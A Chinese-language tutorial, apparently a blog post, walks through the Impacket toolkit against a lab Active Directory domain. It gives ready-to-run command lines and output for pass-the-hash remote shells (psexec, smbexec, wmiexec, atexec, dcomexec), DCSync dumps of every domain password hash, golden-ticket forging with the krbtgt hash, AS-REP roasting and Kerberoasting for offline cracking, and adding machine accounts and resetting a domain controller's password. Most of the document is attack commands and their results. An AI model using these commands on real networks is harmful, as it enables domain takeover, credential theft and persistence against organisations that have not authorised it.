

impacket工具包简介

Impacket工具说明

Impacker是用户处理网络协议的Python类集合,用于对SMB1-3或IPv4/IPv6上的TCP/UDP/ICMP/IGMP/ARP/IPv4/IPv6/SMB/MSRPC/NTLM/Kerberos/WMI/LDAP等进行低级的编程访问,数据包可以从头开始构建,也可以从原始数据包中解析,面向对象API使用处理协议的深层结构变得简单。

psexec.py

psexec.py是用于远程连接的工具

语法:

使用明文密码

administrator 账号

passrrrr 密码

psexec.py administrator:passrrrr@10.211.55.33

使用密码Hash

psexec.py administrator@10.133.22.22 -hashs xxxxxx

连接原理:

通过管道上传一个二进制文件到目标机器C:\windows目录下,并在远程目标机器上创建一个服务,然后通过服务运行二进制文件,运行结束后删除服务和二进制文件,由于创建或删除服务会产生大量的日志,因此会在攻击溯源时通过日志反推攻击流程。

连接条件:

需要目标开启445端口,IPC\$和非IPC\$的任意可写共享, psexec要往目标主机写入二进制文件,默认情况下C\$和admin\$是开启的。

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```
[*] Requesting shares on 10.211.55.2.....
[*] Found writable share ADMIN$
[*] Uploading file oMLOKG00.exe
[*] Opening SVCManager on 10.211.55.2.....
[*] Creating service aIkJ on 10.211.55.2.....
[*] Starting service aIkJ.....
[!] Press help for extra shell commands
Microsoft Windows [0.0.17134.228]
(c) 2018 Microsoft Corporation
```

smbexec.py

连接原理:

smbexec跟psexec很相似是RemComSvc技术的工具,可以在文件共享远程系统中创建服务,将运行的命令写在bat脚本中执行,将执行结果写在文件中获取执行命令的输出,最后将bat文件和输出文件与服务全部删除,因为会创建服务因此会产生大量的日志。

连接条件:

使用smbexec连接需要目标开启445端口,IPC\$和非IPC\$的任意可写共享,可以使用除ipc\$共享外的所有其他共享,该脚本默认使用C\$,可以使用-share参数指定其他共享。

连接语法:

使用明文密码:

```
smbexec.py administrator:passrrrr@10.211.55.33
```

使用密码Hash

```
smbexec.py administrator@10.133.22.22 -hashs xxxxxx
```

```
smbexec.py administrator@10.133.22.22 -hashs xxxxxx -codec gbk 解决乱码
```

```
smbexec.py administrator@10.133.22.22 -hashs xxxxxx -share admin$ 指定其他方式
```

共享连接

```
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/home/kali/Desktop/AdInfo/2_21

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>ipconfig

Windows IP 配置

以太网适配器 Ethernet0:

    连接特定的 DNS 后缀 . . . . . : 
    本地链接 IPv6 地址 . . . . . : fe80::51ff:6ab1:21ab:2f4c%9
    IPv4 地址 . . . . . : 10.211.55.2
    子网掩码 . . . . . : 255.255.255.0
    默认网关 . . . . . : 10.211.55.1

以太网适配器 蓝牙网络连接:

    媒体状态 . . . . . : 媒体已断开连接
    连接特定的 DNS 后缀 . . . . . :
```

wmiexec.py

该脚本主要通过WMI实现远程执行,躲避杀软最好。

连接条件:

需要目标开启135和445端口,并且依赖于admin\$,
135端口用于执行命令,445端口用于读取回显。

连接语法:

使用明文密码:

```
wmiexec.py administrator:passrrrr@10.211.55.33
```

使用密码Hash

```
wmiexec.py administrator@10.133.22.22 -hashs xxxxxx
```

```
wmiexec.py administrator@10.133.22.22 -hashs xxxxxx -codec gbk 解决乱码
```

```
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[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>ipconfig

Windows IP 配置

以太网适配器 Ethernet0:

    连接特定的 DNS 后缀 . . . . . : 
    本地链接 IPv6 地址 . . . . . : fe80::51ff:6ab1:21ab:2f4c%9
    IPv4 地址 . . . . . : 10.211.55.2
    子网掩码 . . . . . : 255.255.255.0
    默认网关 . . . . . : 10.211.55.1

以太网适配器 蓝牙网络连接:

    媒体状态 . . . . . : 媒体已断开连接
    连接特定的 DNS 后缀 . . . . . :
```

atexec.py

通过脚本执行计划任务在主机上实现命令执行,并返回执行后的输出结果。

连接语法:

使用明文密码:

```
atexec.py administrator:passrrrr@10.211.55.33 whoami (执行的命令)
```

使用密码Hash

```
atexec.py administrator@10.133.22.22 whoami -hashs xxxxxx
```

```
atexec.py administrator@10.133.22.22 whoami -hashs xxxxxx -codec gbk 解决乱码
```

dcomexec.py

通过DCOM在目标上实现命令执行,并返回命令执行后结果

连接语法:

使用明文密码:

```
dcomexec.py administrator:passrrrr@10.211.55.33 whoami (执行的命令)
```

使用密码Hash

```
dcomexec.py administrator@10.133.22.22 whoami -hashs xxxxxx
```

```
dcomexec.py administrator@10.133.22.22 whoami -hashs xxxxxx -codec gbk 解决乱码
```

smbclient.py

该脚本用于向服务器上传文件

连接成功后的命令:

info 查看信息

shares 查看开启的共享

```
use xx 使用指定的共享
ls 查看当前路径
cd 切换目录
put xx 上传文件
get xx 下载文件
连接语法（工作组）：
smbclient.py administrator:passrrrr@10.210.22.3
smbclient.py administrator@10.133.22.22 -hashs xxxxxx:xxxxx
连接语法（域环境）
smbclient.py test/administrator:passrrrr@10.210.22.3
smbclient.py test/administrator@10.133.22.22 -hashs xxxxxx:xxxxx
```

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Type help for list of commands

info

Version Major: 10

Version Minor: 0

Server Name: USER-TEST

Server Comment:

secretsdump.py

该脚本是利用DCSync功能导出域内用户Hash,需要连接的账号和密码具有DCSync权限。

获取域内用户所有hash

```
secretsdump.py test/administrator:passrrrr@10.210.22.3 -just-dc
```

使用卷影复制服务导出域内所有hash

```
secretsdump.py test/administrator:passrrrr@10.210.22.3 -use-vss
```

获取域内指定krbtgt用户的Hash

```
secretsdump.py test/administrator:passrrrr@10.210.22.3 -just-dc-user
"test\krbtgt"
```

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[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:66b71cfe5adbef5ec5ce4d80c78bc6c9:::

[*] Kerberos keys grabbed

krbtgt:aes256-cts-hmac-sha1-96:8dd6d6aa5c1c36cc75347b71791968ec17f9bc94befb59ef5249a82a50778276

krbtgt:aes128-cts-hmac-sha1-96:72283105edce8d3da8d86103a0bd2e3e

如果当前导入了域管理员的票据则不需要密码可以直接导出Hash

```
secretsdump.py -k -no-pass AD.test.com -just-dc-user administrator
```

lookupsid.py (获取域内的SID)

10.210.22.3域控IP

```
lookupsid.py test/administrator:passrrrr@10.210.22.3 -just-dc-user --domain-sids
```

ticketer.py(黄金票据)

如果已知目标域krbtgt用户Hash和目标域的SID，则可以利用该脚本执行如下命令生成黄金票据。

krbtgt Hash:

```
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:66b71cfe5adbef5ec5ce4d80c78bc6c9:::
```

域SID:

```
S-1-5-21-1873282888-450677352-877677906
```

生成黄金票据:

```
ticketer.py -domain-sid S-1-5-21-1873282888-450677352-877677906 -nthash  
66b71cfe5adbef5ec5ce4d80c78bc6c9 -domain test.com administrator
```

```
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[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for 
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
```

导入票据:

```
export KRB5CCNAME=administrator.ccache
```

导出administrator用户的Hash

```
secretsdump.py -k -no-pass administrator@WIN-VJ3RFU009V9.test.com -dc-ip  
10.211.55.4 -just-dc-user administrator
```

需要注意:需要proxychains代理到域内机器才行。

```
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
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[proxychains] Strict chain ... 10.211.55.2:8000 ... WIN-VJ3RFU009V9 ... om:445 ..
. OK
[proxychains] Strict chain ... 10.211.55.2:8000 ... 10.211.55.4:88 ... OK
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[proxychains] Strict chain ... 10.211.55.2:8000 ... WIN-VJ3RFU009V9 ... om:135 ..
. OK
[proxychains] Strict chain ... 10.211.55.2:8000 ... WIN-VJ3RFU009V9 ... com:49667
... OK
[proxychains] Strict chain ... 10.211.55.2:8000 ... 10.211.55.4:88 ... OK
Administrator:500:aad3b435b51404eeaad3b435b51404ee:443304af5a35f12b9ff7ecc74adc5a27:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:66b71cfe5adbef5ec5ce4d80c78bc6c9:::
```

否则出现一下错误:

```
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```

```
[-] RemoteOperations failed: [Errno Connection error (WIN-VJ3RFU009V9 test.com:445)] [Er
```

getTGT.py(ntlm hash或者明文密码请求拿到TGT凭据)

密码另外输入可以在特殊字符的密码情况下使用

```
getTGT.py test/administrator@10.21.33.4 -dc-ip 10.21.33.4 -debug
```

直接使用明文密码

```
getTGT.py test/administrator:Password123@10.21.33.4 -dc-ip 10.21.33.4 -debug
```

使用ntlm hash请求TGT

```
getTGT.py test.com/administrator:@10.211.55.4 -hashes
```

```
aad3b435b51404eeaad3b435b51404ee:443304af5a35f12b9ff7ecc74adc5a27
```

```
python3 /home/kali/Desktop/AD/impacket-impacket_0_9_22/examples/getTGT.py test.com/administrator:@10.211.55.4 -hashes aad3b435b51404eeaad3b435b51404ee:443304af5a35f12b9ff7ecc74adc5a27
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
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[proxychains] Strict chain ... 10.211.55.2:8000 ... COM:88 ... OK
[proxychains] Strict chain ... 10.211.55.2:8000 ... COM:88 ... OK
[*] Saving ticket in administrator.ccache
```

```
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:443304af5a35f12b9ff7ecc74adc5a27:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:66b71cfe5adbef5ec5ce4d80c78bc6c9:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
86150:1000:aad3b435b51404eeaad3b435b51404ee:758ed43f39d1bddbe10cab137c032ae0:::
xie.com\test:1104:aad3b435b51404eeaad3b435b51404ee:443304af5a35f12b9ff7ecc74adc5a27:::
xie.com\zhangsan:1106:aad3b435b51404eeaad3b435b51404ee:4c25ed57e37131073192a98148fbc30f:::
xie.com\lisi:1112:aad3b435b51404eeaad3b435b51404ee:4c25ed57e37131073192a98148fbc30f:::
xie.com\test001:1604:aad3b435b51404eeaad3b435b51404ee:443304af5a35f12b9ff7ecc74adc5a27:::
```

getST.py(请求ST)

```
getST.py -dc-ip 10.211.55.4 -spn cifs/WIN-VJ3RFU009V9.test.com
```

```
test.com/administrator:Password123
```

```
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[*] Getting TGT for user
[proxychains] Strict chain ... 10.211.55.2:8000 ... 10.211.55.4:88 ... OK
[proxychains] Strict chain ... 10.211.55.2:8000 ... 10.211.55.4:88 ... OK
[proxychains] Strict chain ... 10.211.55.2:8000 ... 10.211.55.4:88 ... OK
[*] Getting ST for user
```

导入票据:

```
export KRB5CCNAME=administrator.ccache
```

访问该服务:

```
smbexec.py -no-pass -k WIN-VJ3RFU009V9.test.com -dc-ip 10.211.55.4
```



```
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
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[proxychains] Strict chain ... 10.211.55.2:8000 ... WIN-VJ3RFU009V9 com:445 ..
. OK
```

使用上一步使用getTGT.py生成的TGT票据指定SPN的ST

导入票据

```
export KRB5CCNAME=administrator@10.211.55.4.ccache
```

生成新的票据

```
getST.py -k -no-pass -spn cifs/WIN-VJ3RFU009V9.test.com -dc-ip 10.211.55.4
```

```
test/administrator@10.211.5.4
```

导入票据

```
export KRB5CCNAME=administrator@10.211.55.4.ccache
```

访问指定服务

```
smbexec.py -no-pass -k WIN-VJ3RFU009V9.test.com -dc-ip 10.211.55.4
```

samrdump.py(枚举域内用户)

```
samrdump.py test/administrator:Password123@10.211.55.4 -csv
```

```
Found user: Administrator, uid = 500
Found user: Guest, uid = 501
Found user: krbtgt, uid = 502
Found user: DefaultAccount, uid = 503
Found user: 86150, uid = 1000
Found user: test, uid = 1104
Found user: zhangsan, uid = 1106
Found user: lisi, uid = 1112
Found user: test001, uid = 1604
#Name,RID,FullName,PrimaryGroupId,BadPasswordCount,LogonCount>PasswordLastSet>PasswordD
oesNotExpire,AccountIsDisabled,UserComment,ScriptPath
Administrator,500,,513,0,118,2023-01-29 09:58:23.186218,False,False,,
Guest,501,,514,0,0,<never>,True,True,,
krbtgt,502,,513,0,0,2023-01-29 10:14:58.783173,False,True,,
DefaultAccount,503,,513,0,0,<never>,True,True,,
86150,1000,,513,0,2,2023-01-13 11:04:30.504198,False,False,,
test,1104,test,513,0,9,2023-02-17 12:43:31.539252,False,False,,
zhangsan,1106,zhangsan,513,0,0,2023-02-07 10:21:25.717684,True,False,,
lisi,1112,lisi,513,0,0,2023-02-21 11:16:34.987235,False,False,,
```

addcomputer.py (增加机器账号)

进行基于资源约束委派攻击的时候需要一个机器账号进行控制,于是使用该脚本
可以创建一个机器账号,使用时需要一个有效的域用户,支持两种方式创建一种是
SAMR协议,另一种是LDAPS协议。
SAMR协议创建机器账号:

```
addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip
10.211.55.4 'test.com/hack:Password1234' -method SAMR -debug
```

```
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[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[proxychains] Strict chain ... 10.211.55.2:8000 ... 10.211.55.4:135 ... OK
[proxychains] Strict chain ... 10.211.55.2:8000 ... 10.211.55.4:445 ... OK
```

LDAPS协议创建机器账号：

```
addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 10.211.55.4 'test.com/hack:Password1234' -method LDAPS -debug
```

修改已经创建的机器账号密码(添加-no-add参数)：

```
addcomputer.py -computer-name 'mmm123$' -computer-pass 'newPassword123' -dc-ip 10.211.55.4 'test.com/hack:Password123' -method SAMR -debug -no-add
```

```
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[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[proxchains] Strict chain ... 10.211.55.2:8000 ... 10.211.55.4:135 ... OK
[proxchains] Strict chain ... 10.211.55.2:8000 ... 10.211.55.4:445 ... OK
[*] Opening domain:
```

也可以使用域管账号修改任意机器账号密码跟上面参数是一样的指定域控机器账号即可,下面将域控账号密码重置为root123

```
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[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[proxchains] Strict chain ... 10.211.55.2:8000 ... 10.211.55.4:135 ... OK
[proxchains] Strict chain ... 10.211.55.2:8000 ... 10.211.55.4:445 ... OK
```

使用bloodhound发现修改密码的机器账号可以使用

```
python3 /home/kali/Desktop/AD/BloodHound.py-master/bloodhound.py -u WIN-VJ3RFU009V9
$ -d test.com -ns 10.211.55.4 -c DcOnly
Password:
INFO: Found AD domain: test.com
INFO: Getting TGT for user: test.com
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: [Errno
Connection error test.com:88)] [Errno 111] Connection refused
INFO: Connecting to LDAP server: WIN-VJ3RFU009V9.test.com
INFO: Found 1 domains
INFO: Found 3 domains in the forest
INFO: Connecting to LDAP server: WIN-VJ3RFU009V9.test.com
INFO: Found 10 users
INFO: Found 55 groups
INFO: Found 5 gpos
INFO: Found 1 ows
INFO: Found 21 containers
INFO: Found 8 computers
```

GetNPUsers.py (AS-REP Roasting)

用于AS-REP Roasting攻击,如果攻击者不在域中,可以使用该脚本执行检查users.txt中的用户是否设置了不需要Kerberos预身份认证的属性,并且获取该属性账号Hash加密的Login Session Key。

```
GetNPUsers.py -dc-ip 10.211.55.4 -usersfile users.txt -format john test.com/
```

GetUserSPNs.py (Kerberoasting)

GetUserSPNs.py脚本可以在域外查询指定域的SPN，需要提供域账号和密码。

查询hack用户下的SPN

```
GetUserSPNs.py -dc-ip 10.211.55.4 test.com/hack:Password123
```

将hack用户下所有的SPN的ST保存到hash.txt可以用hashcat进行破解。

```
GetUserSPNs.py -request -dc-ip 10.211.55.4 test.com/hack:Password123 -outputfile hash.txt
```

使用hack用户下将test用户下所有的SPN的ST保存到hash.txt可以用hashcat进行破解。

```
GetUserSPNs.py -request -dc-ip 10.211.55.4 test.com/hack:Password123 -outputfile hash.txt -request-user test
```

ticketConverter.py(票据转换)

可以将.ccache和.kirbi格式的票据进行相互转换。

```
ticketConverter.py hack.ccache hack.kirbi
```

```
ticketConverter.py hack.kirbi hack.ccache
```

```
└─# python3 /home/kali/Desktop/AD/impacket-impacket_0_9_22/examples/ticketConverter.py
administrator.ccache administrator.kirbi
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[*] converting ccache to kirbi...
[+] done

└─(root@kali)~[/home/kali/Desktop/TGT]
└─# dir
administrator.ccache administrator.kirbi jiqi
```

addspn.py (增加/删除/查询SPN)

可以用户增加/删除SPN/，增加需要SPN需要域管权限删除SPN只需要目标属性修改权限即可。

查询目标SPN，需要提供一个spn参数，可以是不存在的SPN

```
addspn.py -u 'test.com\hack' -p 'Password123' -t 'WIN-VJ3RFU009V9$' -s HOST/WIN-VJ3RFU009V9.test.com -s aa/aa -q 10.211.55.4
```

删除目标SPN，需要提供一个SPN参数且必须是存在的SPN

```
addspn.py -u 'test.com\hack' -p 'Password123' -t 'WIN-VJ3RFU009V9$' -s HOST/WIN-VJ3RFU009V9.test.com -s HOST/WIN-VJ3RFU009V9.test.com -r 10.211.55.4
```

只有域管才可以添加SPN

```
addspn.py -u 'test.com/administrator' -p 'Password123' -t 'WIN-VJ3RFU009V9$' -s test/test -a 10.211.55.4
```